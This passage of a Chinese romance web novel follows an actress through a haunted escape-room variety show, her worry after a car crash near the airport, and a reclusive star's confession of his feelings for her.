剧组酒店并没有严格保密，有消息灵通的粉丝可能会在附近蹲守，小鱼怕她和宴池待在一起又被拍到什么让人想入非非点照片，直接带着困意浓重的江遥下车。车门拉开，江遥清醒了过来，对着宴池郑重说了声“谢谢”。
宴池懒懒笑道：“又不是我替你录的节目。”
江遥也不习惯跟他这么郑重其事，没再说什么，转身进了大堂，往床上一栽睡起回笼觉。
晚上工作人员带众人出去吃饭，宛城本地的馆子，装修简单，味道却意外不错。盛子豪推荐的。
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江遥夹了身前一道菜尝了尝，确实和别的地方味道不太一样，她咽下嘴里的食物，眼睛亮晶晶地看着他，大赞他的眼光。
面对前辈盛赞，那样专注的目光，仿佛他做了多么了不起的事情一样。盛子豪原本酷酷的脸上微微有点羞赧，给江遥解释说：“之前朋友过来拍戏吃过，我就记下了。”
导演手机响了声，有人推开门进来，他连忙起身。宴池挨着导演落座，导演起身他下意识跟着看过去，手上动作微微一顿。江遥位置离得稍微远了点，还在侧着身子和盛子豪说话，没注意到房间多了个人。
盛子豪的声音低了下来，江遥顺着他的视线抬头，一身黑衣的男人站在门口，正被满脸笑容的导演引着往这边走。主位一直空着，原来是有客未至。还是惯穿的黑色定制西装，一对银色袖扣在灯光折射下闪着光，应该是刚从什么重要商务场合下来，带着一丝不易察觉的疏懒厌倦。
“抱歉，路上有点堵，我来迟了。”他的声音还是听不出太大起伏，好似被冰冻的湖水，泛不起一丝涟漪。
导演拉开椅子请他入座，连声说着没关系，您能赏脸是我的荣幸之类的说辞。程绪将外套交给侍应生，抬手解开袖扣，袖子向上卷了卷，露出半截小臂。
刘灵泠激动地叫了出来，忙不迭站起身跟他问好。江遥意识到自己的失神，收回视线，跟着众人起身。他抬手压下了大家未出口的客套话：“随意就好。”
桌上重新热闹了起来，原来是导演和陈清让小有交情，陈清让最近身体不好在老家休养，他过去探望，正好碰到程绪。知道他在宛城录节目，节目收官正好在找大咖压轴，陈清让就跟程绪提了提。
但程绪当时并没有答应，没想到事情还有转机，导演看到消息时简直喜出望外。
“导演是我多年的老朋友，没有那么多心思不正的操作，你太久没出山，去节目上露个面未尝不可。”陈清让看他一直是一副清清冷冷的性子，总想让他和外界多点接触。
程绪没有点头也没有摇头，好脾气地听他继续唠叨着，陈清让一看就知道没戏，抬出之前上过节目的其他嘉宾案例，试图说服他改改主意：“这个节目我跟着孩子看过几眼，常驻的那几个热度都升了一截。”
他苦口婆心，他却只道：“我不需要。”
陈清让还在说着：“热度你不需要，口碑你总得要吧。像那个江遥去过一次，就让观众改观不少，这不这次又去了。”
他当时没有给出答案，第二天却向他要了导演的联系方式。陈清让不知道是自己的哪句话戳中了他，但他肯往外走出一步，总是好的。
所以这季《心动大冒险》收官阵容，除了四个常驻嘉宾加江遥外，又多了一名飞行嘉宾。当然，此时网友们并不知情。
能和程绪合作，众人都很激动，刘灵泠和盛子豪自不必说，就连嘉宾里资历最老的马松，也对程绪表现出极大的赞赏和肯定。
江遥却始终情绪不是很高，刘灵泠悄悄问她是不是不舒服，她却只说没睡醒有点犯困，刘灵泠总觉得不太对劲。
32. 暗室
众人收拾完毕，节目组大巴带着大家一起驶往目的地。
完全不用商量，大家纷纷谦让，一定要让程绪先上。程绪没有推辞，随便找了个靠窗的位置坐下。他换掉了正式的西装，穿一身黑色休闲衫，整个人看起来没有昨晚那么冷硬。刘灵泠想和大神近一点，直接拉着江遥坐在了他后面。
宴池和江遥隔着过道坐着，马松还是坐在前排专属位置，孟子豪和唐珏俩人窝在后排。
江遥总觉得自己全身蔫蔫的，一落座就躺下了，脸朝着过道，没有闭眼，更像是在发呆。呆了一会儿正准备换个姿势，不成想宴池也正半侧着身子，隔着过道望着她，没有说话。江遥懒得猜他的想法，干脆拿出眼罩戴上。
刘灵泠见她精神萎靡，问道：“遥遥姐，你困了吗？”
江遥“嗯”了声。原本只是不想说话，眼罩一戴，倒真的睡着了。拍了几天夜戏，她皮肤白，衬得黑眼圈更重，出门前特意遮了遮才好上镜。
工作人员想活跃一下气氛，看到程绪望着窗外没有说话的意思，识趣地没有开口。如果到了场地，他还是这样的姿态，那节目效果势必会打折扣。工作人员内心焦急，生怕导演玩脱。
出发之前江遥想着花半天时间录制一期节目，反响还不错，不管遇到什么挑战咬咬牙也就过去了。之前几期挑战项目也无外乎是跳伞、潜水、游乐园那些常规项目，她完全能够撑住。直到车子停下，看清面前建筑上大写的招牌，她终于知道，什么叫搬起石头砸自己的脚。
本次录制地点选在密室，江遥还记得第一次和朋友去密室，为了追求刺激选的还是恐怖主题，对方保证绝对不恐怖，结果证明双方对恐怖的认知有误。
虽然知道一切都是气氛营造和NPC扮演，但还是有点难以克服心理障碍。事已至此，她欲哭无泪，只好硬着头皮往下走。
挑战开始，嘉宾们戴着眼罩被工作人员领到第一个关卡处，耳中不断传来诡异的声音，工作人员声情并茂地向大家宣读故事背景，江遥脑中已经全自动脑补了N个恐怖故事。
这是一个解密主题的密室，睁开眼睛，白雾蒙蒙，昏暗的灯光忽闪忽闪，显出一片凄冷阴森。
工作人员已经离开，此时他们正站在一扇看起来颇为气派的大门前，檐下红色灯笼闪着诡异的光，三个女生紧紧贴在一起，大家试探着往前走，寻找开启府门的开关。
不知道是谁触摸到了什么，大门缓缓向两侧打开，马松是队伍里的老大哥，一马当先走在了前面，宴池畏畏缩缩跟上，三个女生抱团走在中间，盛子豪虽然年纪不大，但玩密室经验丰富，很有绅士风度地跟在他们后面照看，程绪不声不响坠在最后。
大家按照指引前行，五颜六色的灯光交替闪烁，除了气氛恐怖，倒没有别的状况出现。大家慢慢放松了绷紧的神经，开始自由寻找线索。
顺利通过几个关卡后，他们在一间书房被难住了。开启箱子才能进行下一步，线索就藏在房间里，但试了无数次都没有成功，大家不由有点灰心。
在这个房间实在耽误了太久，马松拿着对讲机提议：“要不我们寻求帮助吧。”
刚刚还蔫里吧唧的几人一口否决：“不。”说完又重新打起精神，分散开摸索了起来。正想举手赞同的江遥弱弱地吞回了自己的想法，继续跟着大家寻找线索。
“咔哒”一声，清脆的箱子开启声音传来，她猛地回头，只见程绪站在木箱前，刚才死活打不开的箱子正大敞着。
“你怎么做到的！”在黑暗里待了太久，锁开的声音，简直像解救她的福音。她激动地跑过去，里面果然藏着他们在找的线索。
程绪指了指面前摊开的一本书。大家都知道这本书肯定有问题，但是研究那么久都试不出正确答案，只好暂时放弃，他怎么能……这么云淡风轻。
几人欢天喜地，继续前往下一个关卡。
越往里走，阴森的感觉越重，江遥听着隐约传来的叫声笑声说话声脚步声，也没空再分心乱想，心里小人开始默默流泪。伸出手想抓着刘灵泠找点支撑，谁知道这姑娘早就兴奋地往前跑走了，完全没了刚进场害怕的样儿。她只好蹭到宴池身边，牵了一角他的衣摆。
虽然宴池努力扮演着柔弱，但她知道这点小场面完全吓不住他。看她一脸视死如归的表情，宴池慢慢收起惊慌的表情。
后续节目上线的时候，有网友评论说：「宴池原本胆子那么小，在江遥面前却站起来了！这该死的责任感！」江遥只想摇着这位观众的肩膀，让他看清他的真面目。
撩开一块门帘，结满蛛网的墙上一个鲜红的血手印，刘灵泠冲在前头，冷不防被吓得硬生生止住了脚步，“啊”地一下叫出声。江遥余光扫到，赶紧闭上眼睛，脚仿佛被钉在了地面上。胆子还是跟以前一样小，宴池回头跟她说话：“不要害怕，都是假的。”
奈何江遥脑内小剧场太过丰富，现在完全听不进去，只有血乎乎的手印在眼前飘忽。场面确实有点渗人，几人又紧紧聚到了一起。
马松和盛子豪在前面开路，刘灵泠和唐珏躲在他们后面走，再往后是江遥坠着宴池的衣摆，衣摆处已经被揉得满是褶子，程绪收回视线，无声跟在最后。
前方完全陷入黑暗，大家继续摸索着往前，江遥拽着宴池的衣服不敢松手。突然眼前凭空钻出个一头披头散发的女人，穿着白袍，青面獠牙，绿油油的光打在脸上，走起来没有一点声音。领头的人一个刹车不及，差点贴上她的脸。
有人大叫一声，掉头就跑，队伍瞬间乱了起来。宴池的衣摆从她手上挣脱开的一瞬间，她下意识伸手往前一捞，还好，堪堪拽住了他的手腕。江遥死死拽住这根救命稻草，埋头往前狂奔。
混乱里，几人推搡着往一个地方挤，前面有女声喊着“我的鞋子掉了”，听声音是唐珏。她一边喊一边头也不敢回。
江遥现在根本来不及管自己的状态和表情，听着脚步声慢慢远去，正想停下歇口气，前方又出现几个人拿着滋滋作响的电棍，朝他们冲过来。
事发突然，江遥呆怔着忘了反应，只感觉到宴池轻轻挣开了被她圈住的手腕，
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反手握住了她的手掌，带动她的身子往前，她下意识跟着抬步冲了出去。因为紧张，手掌连接处甚至生出了细细密密的汗。
好不容易躲过一波追兵，手心已经完全被汗湿，她轻轻挣了挣手，没有挣脱，凑近一旁的男人，悄声提醒：“宴池，松开我吧。”对方闻言没有立刻动作，静了会儿，慢慢松开了手。
再次走到光亮的地方，江遥抬头望向其他队友，各有各的凌乱。唐珏一只鞋不见了踪影，盛子豪站在她身边，手上还拎着一只鞋。刘灵泠跑散了半边头发，正一个劲跟宴池说着“对不起”。
宴池的外套不知何时不见了踪影，上身只套着一件纯色短袖，可明明，黑暗里她拽住他手腕时，还摸到了袖口的扣子……
不远处的程绪还是静静站在一旁，听着众人说话。即使在这样激烈的奔跑中，也没让他的表情回温。
集体任务之后，不可避免地迎来了单线挑战任务。大家看她确实吓得不轻，主动提议让她和程绪留守原地，他们分头行动。江遥点点头，没有逞能。
马松自告奋勇择了一条线路，唐珏跟着盛子豪走了另一边，宴池看看江遥，她朝他安抚地笑笑，示意他快走。
刘灵泠飞快抬眼瞥了眼没什么动作的程绪，整个游戏里，他都没怎么出声，在大家遇到难解的谜题或需要帮助时，又不会吝啬出手，融入了，又没完全融入。
她看了看宴池走远的背影，最后挤出一句“程老师，那遥遥姐就拜托你了”，说完小跑着跟了上去。
大家一走，江遥觉得身上又开始泛冷，整个房间阴气森森。等了一会儿始终没人回来，空气安静得有点诡异，她干脆靠着一侧的墙壁休息。
身子还没完全靠上去，身后的墙却突然“嘎吱嘎吱”动了起来，她惊慌地伸出手想稳住自己，身体却已经完全失控。视线里，程绪很快反应过来，向她伸出了手，有手臂从后腰环绕上来，护着她一起往后坠落。
机关重重合上，一个老者声音开始自动解说剧情，满含幽怨和森冷。江遥站在原地完全不敢挪动，适应了一下黑暗才开始环顾四周，他们现在身处的地方应该是一间婚房，婚房深处，却有白烛高照，浓浓的中式恐怖的味道。她看着眼前的场景陷入了迷茫，说好的微恐怎么是这样。
但来不及让她感慨太多，现在最重要的是找到出口。程绪松开她的手，抬脚往前走了一步，江遥正在脑海里搜索着红歌给自己壮胆，程绪回头：“还不跟上。”
“哦哦。”她应着，快走两步到了他的右侧，手指向一旁偷偷摸索着，拽住了他的袖口。真稀奇，即使在这样的环境里，他也还是一副凛然不可侵犯的样子，却给人莫名安心的感觉。
她身子微微侧向一旁，仔细查找着房里的线索，白皙的手指捏着纯黑的袖口，无意识地在扣子处摩挲。程绪低头看了眼，随她动作。
从密室出来已经是下午四点过后，回程的路上，大家一副被抽干了精力的样子瘫在椅子上，江遥戴上眼罩拒绝外界打扰，呼吸之间，鼻端仿佛还萦绕着熟悉的雪松味道。
33. 坦白
《心动大冒险》边拍边播，收视率一直稳居同期综艺榜首，从第一季到现在，来来往往已经接待过不少大咖新秀，按照惯例，收官嘉宾都会请大咖压轴。让人意外的是，本季收官阵容官宣，最后一名神秘嘉宾却一直没有对外公布，节目组稳如老狗，反倒引发网友不少猜测。
从前不管是国民级演员还是顶流明星，节目组都没有这么藏着掖着，这次到底是在放烟雾弹，还是真的胜券在握？
官方已经透露最后一期拍摄地点在宛城，除了已知的江遥继续参与外，就连在酒店蹲守的站姐也没拍到另外一名嘉宾的行踪。节目组吊得一手好胃口，大家忍不住开始盘艺人们的行程，有谁近期飞过宛城。这期节目，未播先热。
“啪！”身上的人动作一下比一下用力，方琦紧紧咬着嘴唇，告诉自己再忍忍。雪白的肌肤上，红痕盘绕交错，像吐着信子的毒蛇，男人看着自己的杰作，再挥手落下一笔后，终于满意收手。
哗啦啦的水流声响起，仿佛又再次把她带回到那个濒临窒息的午后。她努力克制脸颊的颤抖，拾起地上的衣服穿上。床头柜上的手机突然疯狂震动，是经纪人慧姐发来的消息。
江遥解约后，方琦很是风光了几天，公司新开的大戏钦定她做女主，也有电影请她出演重要角色，档期已经排到了年后。当然最痛快的，是看着讨厌的人落魄，江遥黑料全网轮播，有她出现的地方，都会被网友们的唾沫星子淹没。
在这样惨烈的对比里，她恍惚觉得，过往所有的不痛快，如今都得到了安抚。如果没有那个疯狗一样的刘太太穷追不舍，她想，她会更加开心的。
光脚的不怕穿鞋的，如今她是深有体会。好在朱富春背景够厚，只要忍过床上那几分钟，穿上衣服，她还是那个骄傲的女明星。可恨的是，明明已经被她踩到底，那个女人，最近又有了翻身的迹象，一组广告片就惹得网友们嗷嗷舔颜。方琦心里不屑，靠脸吃饭的，果然只会走那些歪门邪道。
《心动大挑战》上期节目播出后，本以为能指望下宴池粉丝的战斗力，没想到那些欺软怕硬的人被路人一冲就龟缩了起来，白白给江遥虐了一波粉。慧姐替她去进行了新一期接洽，结果被节目组告知，新一期嘉宾已经定下，期待来年和方老师合作。然而节目官宣，江遥又参与了新一期录制，还有个所谓的压轴大咖，捂着完全没有露出消息。
慧姐给她连发了几条信息，看起来很是着急。
「《心动大挑战》最后一期飞行嘉宾被人扒出来了，极有可能是程绪，江遥怎么会和他扯上关系？」
「等新的一期播出，她的热度估计又会上一层楼。」
「之前那事儿你记得收好尾巴，那姑娘看起来不是多安分的人，必要的话我们得先下手为强。」
「上次那部新戏朱总那边怎么说？你一定要好好把握。」
「不过你也先别太着急，我再打听打听，看能不能在宣传上做些文章。」
方琦捏着手机看了眼浴室方向，玻璃门关着，音乐声震天响，他发泄过后，一向都是任她自生自灭的。
其实准确来说，不是程绪被网友扒出来了，而是节目组在一步步放消息，后天就要开播，今天终于舍得揭开神秘嘉宾的庐山真面目，为节目再涨涨热度。
刘灵泠在之前那期节目里就公开声称是江遥粉丝，前阵子又去剧组探了她的班。探班虽然是私人行程，但她也没故意遮掩，在粉丝之间算是公开的秘密。
今天她在微博上公开发布了一张和江遥程绪的合照，挽着江遥的手臂笑得一脸灿烂，程绪站在一旁，还是一脸冷酷的样。刘灵泠高兴写到：“追星生涯大圆满！”随后，她又在评论区艾特了江遥和程绪的微博，并随手给程绪点了个关注。
有粉丝提醒她：「姐姐，你艾特错了。」
有人调侃：「假粉无疑，你偶像没有微博你不知道吗？」
「哈哈哈，这位博主上线看到肯定会懵逼的。」
刘灵泠很快反应过来，取消了对程绪的关注，但他们三人的合照已经被推上了热搜。有人顺藤摸瓜，发现陈清让这阵子正好在宛城调养，而陈清让和节目组导演又有私交，程绪去探望恩师顺便录个节目也不是不可能。最重要的是，能让节目组这么神神秘秘藏到现在，如果是这位的话，那一切就合理了。
刘灵泠完成任务后，正捧着手机在给江遥发微信：「遥遥姐，你快上线回复一下我！」
江遥被她可爱到，笑着回道：「遵命。」
她正捧着手机笑得不行，小鱼敲了敲门提醒：「姐，该出发了。」
今天的戏份集中在傍晚，是男女主的对手戏。女主看到男主关心表妹，佯装吃醋。江遥梳着高高的发髻，披风披在身后，蹬着靴子从寨子里走出来，一身意气风流。表妹看到孙二过来，娇羞地往远处跑走了。接下来，轮到孙二警告男主，让他记住自己是谁的人。
江遥站在台阶上，和阶下的男主四目相对，只见她俯身掐住了男主的下巴，凑近他耳畔，神色温柔，嘴巴一张一合，不知说着什么。男主一脸通红，活像个被调戏的大姑娘。背后的夕阳，铺洒出一地柔光。
小鱼看着坐在车里神色不明的男人，努力缩小自己的存在感。探班就探班，怎么非得这时候来呢，他们这小破剧组，最近来探班的腕儿是不是有点多。
还好今天两位演员表现很好，导演也没有犯轴，一条过。江遥脱了披风往这边走，她立马上前接过，偷偷给江遥使眼色：“有人来探班了。”
“这时候？谁？”小鱼还没回答，她已经看到了杨越放下车窗在招手。还是黑色的车，但不是之前熟悉的那辆，停在片场边，不是很显眼。
小鱼跟着她往车边走，尽可能把已知的消息同步：“说是为桐城那宣传片来的。”
杨越从驾驶座下来，为江遥拉开车门，等她上了车，自觉拉着小鱼走远了。
程绪腿上架着个笔记本，手指在键盘上飞快敲击，看到她上车，合上电脑放在一旁。这是她第一次看到他处理工作，比平常的他显得更加淡漠
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。
“你怎么来了？”她靠着车窗，问出心底的疑惑，这个间隙还在忙着，他应该没那么多空闲才对。
座椅空出很大一片空间，两人中间还能塞下两个人。明明前几天在暗室里还对他毫无防备，几天后又是这样一副陌路的姿态。
他艰难地张了张口，突然不知如何打破这隔阂，许久，终于想起杨越离开前的低语，“之前那宣传片剪好了。”
蹩脚的谎言，总有被识破的时候，她只是不爱计较。
“目前出了几个版本，团队内部难以抉择，想问问你的意见。”程绪顿了顿，望着椅背将准备好的借口继续说完。
江遥没有立刻答话，紧闭的车窗，隔绝了外界的喧嚣，他沉默着，预感到了什么。
果然——
“你微信发我就好了，干嘛特意跑一趟。”这点小事线上就可以解决，两人咖位相差太大，而且并没有那么熟，这不是能站得住脚的理由。
沉默了一秒钟，也许更久，程绪的声音再次响起，爽快承认：“这是杨越为我找的理由。”
那事实呢？她脸上满是疑问，灵动的眼睛代替主人发问。
程绪望着她防备的姿态，还是一副冷峻的模样，嘴巴开合，仿佛认命般，彻底放弃了抵抗：“事实是，我想在离开前再见你一面，我只是需要个借口出现在你面前。”
他的声音不算大，却仿佛闷雷般在她耳边炸响，那清冷的嗓音，染上了世俗的尘，重重叩上她心门。
也许是被压抑太久，一朝得到释放，心底的渴望似泉水般争先恐后，汩汩而出：“之前你总在问，你怎么来了，你怎么在这儿？我的答案其实一直没有变过。”
本来铆足了劲想要寻根究底，当他抛却那些弯弯绕绕，她却心慌得只想逃。斗志昂扬的眸子瞬间被遮住，江遥垂着眸，已经不想再听下去。
“因为我想见你。”他却不肯后退，已经站在悬崖边上，做好就此跌落的准备，不在乎再多迈出一步。
他寻到她的眼睛，一字一顿，执着地想要一个答案：“这个理由够不够？”
江遥飞快抬头，那双总是深沉的眸子，此刻却像清渠般，一眼见底，满满地装着她自己。
很奇怪，明明应该是石破天惊的话语，江遥却并没有觉得多么震惊。也许，是因为她已经在心底推演过千百种答案，眼前的场景，虽被无数次推翻，却能串起所有的疑问。
两个本该毫无交集的人，太频繁的会面本就能说明很多。她的直觉一向很准，只是她一次次告诉自己，不要信。
她望着他眸中的自己，想要看清自己脸上那故作惊讶的表情，她却向她掀了掀嘴角，扬起得逞般的笑：“这不就是你想要的？”
脸颊的温度飞快上升，心脏突然砰砰跳动，在静谧的空间里越蹦越响，江遥转过脑袋，抬手降下一点车窗，让傍晚的风吹进来，试图冷却发热的头脑。
她望着窗外，看到逐渐亮起灯火点点，杨越正从远方走来。她告诉他：“我想想。”
34. 忐忑
杨越在车边徘徊许久，看了下时间，不得不硬着头皮上前提醒：“老板，我们该走了。”
江遥暗暗呼出一口气，推门下车，挥挥手笑着和杨越告别：“路上小心。”
程绪又回到了之前的模样，好像刚才坦白陈情的是另一个人。看着他无波无澜的侧脸，她转身向前。
看来还是没有什么进展。杨越心里轻叹，拉上车门，扣好安全带，放下手刹。动作再慢，也不过短短几十秒。
汽车发动声响起。
后排的人突然出声，“等一下。”
他赶紧停下手上的动作。
右侧车门敞开，有风顺着吹进来。明明时间已经很赶，他靠在椅背上，真正放松了下来。
车窗外，程绪已经追上了不远处的人。两人相对而立，黑暗掩盖了彼此脸上太过细微的表情。
他可以放任自己，迎着她的视线，将此时心里的想法告诉她：“有空可以给我发信息，打电话也可以。”
她还没说话，他顿了顿，松开攥紧的手指，听到自己的声音在说：“如果你想的话。”
远处声音嘈杂，他声调不高，整个天地却仿佛只有他一人在说话。摇曳的灯火明明隔了很远，却仿佛全然落进了他的眼底。
后来她想，是自己把这个平常的夜晚，极尽渲染。而此时的她，却只是在他的注视下，认真点了点头。
程绪唇角扬起，倏地笑了：“这样就很好。”
所以，不要有什么心理负担。
汽车驶动，带走了他的气息，却没有抚平她的意乱情迷。她试图找回一丝理智，却发现理智早已不受情感控制。
“静一静吧，晚点再想。”她拍了拍自己的脸颊，强迫自己回归工作状态。晚上还有她的一场戏要拍。
寨子里灯火辉煌，门前的空地上，兄弟们围着篝火，欢声笑语混着荤段子传了进来，有的进了她的耳朵，有的没有。孙二坐在高高的椅子上，看着自己眼前的一切，感到一丝前所未有的平和。这是他们最好的时候。
每次开拍前，江遥都会将后面的戏事先顺几遍，只有演员自己能代入角色，观众才能感受到角色的魅力。昨天准备这场戏时，她却总觉得状态不对。
身边虎狼环伺，危机已经进入白热化，一个习惯讲求事实的女人，怎会突然生出那样一种柔情。
但现在，她无师自通，自然地顺着剧情演了下去。或许，仅仅是因为她熟悉并热爱的一切，都在她的身侧，她的内心足够充盈，所以即使明知前路危机四伏，也不耽误此刻纵酒高歌、及时行乐。
这确实是一个很好的夜晚。
下戏后已经是晚上十一点，她一边卸妆一边拿起手机，微信里躺着程绪几小时前发来的消息：「下次见。」
江遥没有回复。
回酒店的路上，小鱼跟她说起宣传片的事，已经和杨越一起敲定了一版，近期就会上线。
话题说到这里，又忍不住跟她聊起程绪。听说他们今晚的飞机飞国外，一个星期后再回来。说完她注意观察了下江遥的表情，她正低头刷着手机，时不时应一声，看不出来什么。
A城已经开始下雪，有人迫不及待在网络上分享雪景。江遥顺着词条点进去，顺手存了几张照片。下一条是视频，摄影师技术很好，非常唯美的雪中夜景，评论里都是纷纷艾特好友约着去赏雪的人。视频自动连播，是一条社会新闻。晚上八点十分，宛城机场附近发生连环车祸，伤亡数字还在持续上升。
看着惨烈的现场图片和视频，江遥一怔，跟小鱼确认：“他们是几点的飞机？”
小鱼不知道她刚才还明显不想多说，怎么又主动绕回了这个话题，回忆着答道：“没跟我说具体时间，不过这个点应该已经登机了吧，从这里过去，八点左右估计就到机场了。”
八点左右。
江遥重新看了眼新闻上的时间，拿起手机翻到程绪的电话，拨出。
听筒里传来一板一眼的提示音：您拨打的用户已关机。
调出杨越的号码，她手指微微停顿一瞬，还是按下拨号键。听筒里传回一样的机械提示音，在初冬的夜晚，一遍遍重复提醒。
江遥表情凝重，小鱼终于意识到不对劲。刷了下新闻，又回头看还在一遍遍打电话的人。
她知道，遥遥并不是对程绪毫无波动，之前有几次，都撞到她在看程绪早期的电影。问起来，只说是在观摩学习。
“说不定是在飞机上，咱们先回去睡一觉，明天上午再试试。”她斟酌着开口。
车子已经到了酒店，电话里还是冰冷的“您拨打的用户已关机”。今夜的风有点冷，江遥裹紧外套，双手拥着自己进了门。
晚上迷迷糊糊不知道做了什么梦，醒来时已经完全记不清，只觉得浑身疲惫，像跑了一晚上马拉松。江遥起身洗了个澡，认真做完全套护肤流程，拿起床头柜的手机看了眼，还是毫无动静。
手机时间显示，七点十分。
七点半，小鱼带着早餐来敲江遥的门。这部戏投资不大，体量也小，已经拍了两个月，还剩一部分戏份，导演想赶在元旦前杀青，这半个月大家得疯狂赶工。
江遥今天一整天的戏，出门时碰到徐婉宁，她打着哈欠从房间出来，看到江遥有气无力地招呼：“遥遥姐，早上好。”
徐婉宁本身性格就很好相处，加上刘灵泠的关系，和江遥处得还不错。她上前挽着江遥的手臂，突然凑近了盯着她的脸看了看，语调非常夸张：“遥遥姐，虽然我知道你每天都好看，但怎么感觉今天更漂亮了。”
江遥笑了笑：“是吗？”
徐婉宁肯定地点点头。
小鱼走在后面，看着前面两个并肩而行的姑娘。晨光打在江遥的侧脸上，皮肤白嫩水润，唇角上扬，气色看起来确实很好。
她跟着她几年，或许看过她的懒散随性，却很少瞧见她憔悴的模样。不管发生什么，出现在外人面前，她都确保自己是精神焕发的江遥。她想，可能这就是女明星的自我修养。
到片场时，也有人在讨论昨晚的事故：“看视频有些车都被撞得不成样了，当场死了七八个，造孽哦。”还有人问小鱼
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有没有看到新闻，她应付两句匆匆走了。
《心动大挑战》今晚开播，上午十点，江遥还在拍摄，小鱼登上她的微博，替她转发了节目开播的信息。
最近江遥吸了一小撮粉丝，她的上一条微博还停留在《心动大挑战》的前一期宣传，评论数量却已经比之前发的时候多了不少。小鱼顺着评论翻了翻，原来还有部分之前的老粉回归了。慑于之前的舆论环境，之前还没脱粉的一些粉丝都不敢明面上替她出头，看目前这形势，才又重新开始出来活动。新粉老粉和颜粉路人粉加在一起，聚起来体量也不算太小。
这条宣传博前排，粉丝们都带江遥的美图，在喊着“姐姐你好美”、“期待姐姐”、“不见不散”等等。看着还在持续增长的评论，小鱼忍不住开始憧憬，坚持下去，总能走到天亮的吧？
工作时间，江遥的手机大多是小鱼在帮忙保管，以免错过一些重要电话。
下午三点，江遥还在和男主激情对峙，小鱼手上的手机突然响了起来。
看着屏幕上闪动的“程老师”，没有全名，她却直觉知道来电人是谁。这场戏估计还得半小时才结束，她有点拿不定主意。在铃声停止前，按下了接听。
那边先出声：“对不起，我刚下飞机。”
清冷的嗓音里，掺上了一丝不自知的柔和，像在小心哄着谁似的。小鱼抖了抖满身的鸡皮疙瘩，传说中的耳朵要怀孕，原来也不全是夸张。
怕自己听到什么了不得的话，她马上出声：“程老师您好，我是小鱼。遥遥姐现在还在拍戏，收工后我让她回给您。”
话语里的丝丝暖意骤然抽离，“嗯，不着急。”
这场戏拍了几条，导演都不太满意，中场休息，江遥和男主魏林正在讨论某处细节该怎么处理，化妆师上来给他们补妆。小鱼赶忙上前，抽空跟她说了这事。
江遥脸上还是没显出什么情绪，只“嗯”了一声。无关人员退到一边，片场又投入紧张的拍摄中。
收工时已经是晚上九点过后，回程路上，徐婉宁刷起了《心动大挑战》最新一期。一开始她其实是冲着闺蜜刘灵泠看的节目，看成习惯，后面也一期不落地追完。她扫了眼播放量，短短时间已经是上一期的一倍不止，不由感叹：“程老师应该是第一次上这种综艺节目吧？瞧瞧这泼天的流量。”
程绪第一次上综艺节目，很多人慕名而来，节目组可谓是赚够了噱头。看着屏幕里那张没什么情绪起伏的脸，徐婉宁点击暂停，小声跟江遥嘀咕：“难道是节目组给的钱实在太多了？”
江遥想了想节目组的酬劳，应该不至于吧。徐婉宁还在猜测，她突然想起他离开前的低语，沉默着不再开口。
徐婉宁没有想出结果，也不再纠结，回头继续看起了节目，不断在感慨着“优秀的人果然干什么都行”、“处变不惊”、“头脑也聪明”……
看到刘灵泠和江遥被NPC吓得不行，她拍着大腿笑得发抖。
江遥听着视频里不断传来的惊叫声，拿起手机，看到他下午的留言。
「我没事。」
35. 我们
程绪从机场出来，才看到江遥的来电。从晚上十一点到十一点二十，陆续打了三个。
杨越摸出手机，也有一个来自江遥的未接。
看到新闻推送，才知道昨晚宛城机场附近发生了车祸。
给她的信息，始终没有回复。
《心动大挑战》新一期视频刚上线没多久，已经被刷了上万条弹幕，网友们人才辈出。
徐婉宁看到忍不住给他们分享：“哈哈哈哈这里有人说宴池是驰名双标，对你和灵泠完全是两模两样。”
“羡慕NPC的也好多，说他们能和程绪近距离接触。遥遥姐怎么样，程老师好合作吗？”
好合作吗？江遥想起那人一脸的生人勿近，不好说。
徐婉宁问完也不指望她回答，又继续念起了下一条：“这个也好逗，他们说程绪是你俩的爱情保安，有他保驾护航，肯定特有安全感。”
说着把屏幕转过去给江遥看，是她牵着宴池的衣角在前面走，程绪默默在后面跟着的场景。
马松负责打头，程绪在后面压阵，原本是很正常的分工，她后知后觉，突然有点迟来的窘迫。
江遥想起来一片混乱里，那带着潮意的牵手，突然有点怕这些口无遮拦又火眼金睛的网友说出点什么。
还好，进度条往后，黑暗里细节被掩住，节目组这里做了倍速处理，只能看到宴池被刘灵泠死死拽着外套，盛子豪、程绪分别跟着唐珏和江遥狂奔，留下一串此起彼伏的惊叫声。
看到这里，有些答案已经昭然若揭。那天自己情急之中，果然是拽错了人。
有些过于恐怖的场面，应该是为了过审被剪了，做单线任务时，整个画面后期被切成了四块小屏，同时展示出多个场景。
画面里，江遥又拽上了程绪的袖子，他还是一脸冷面无私的范儿，从容地找着线索。有网友开始在弹幕喊宴池“救！你CP被嫌弃了”，也有人冷嘲热讽“以为谁都跟宴池一样任你蹭”，更多人在忙着哈哈哈哈，回复找宴池的网友：“勿cue，宴池自身难保中。”
右侧的小幅画面中，刘灵泠正像树袋熊一样扒拉着宴池，偶尔有个什么动静，两人一起抱头尖叫，唐珏和盛子豪那边也是小心翼翼，互相扶持着往前走。反倒是自力更生的马松老师，显得格外游刃有余。
在这样的氛围里，表情还算镇定的江遥和冷着脸飞快解密的程绪，倒不算多么特殊。
单线任务结束，众人汇合，江遥向着宴池走过去，俩人凑在一起说说笑笑，瑶池CP粉表示甜度超标，需要缓缓。在CP粉的狂欢声里，有一条弹幕被淹没在茫茫人潮中：「有人的眼神真的很好品。」
徐婉宁又开始刷第二遍，江遥收回视线，回复远隔万里的人：「我刚收工。」
她切出微信，看了眼热搜词条，＃程绪综艺首秀＃已经登上高位，大家纷纷感慨，即使在全程黑不溜秋的环境里，程绪颜值也完全扛得起。
「这状态不进组简直是暴殄天物。」
「这节目导演到底是有什么后台，能请动他来给你们站台？！」
「陈导在线求支招。」
「程老师人狠话不多，信念感比NPC还足。」
＃程绪六边形战士＃＃程绪爱情保安＃＃心动大挑战收视率新高＃等词条也紧随其后。今晚的整个榜单，几乎被《心动大挑战》相关垄断。
节目组工作人员刷着网上的帖子，看着各种大乱炖，咬着嘴唇差点破功。这嘉宾请的，太值了。
江遥微信进来新消息：「明天也是一天的戏？」
她回复：「嗯，四点就得起。」看起来颇有点可怜兮兮。
临到杀青，不可避免要赶工。这下半年，她也算是连轴转了几个月。
屏幕上方一直显示“对方正在输入”的字眼，等了几分钟，程绪回复：「那你早点休息。」
六个字加一个标点，等了她近五分钟。
车子停在酒店门口，风吹过来，她突然很想听听他的声音。
怕他在忙，微信确认了下：「方便电话吗？」
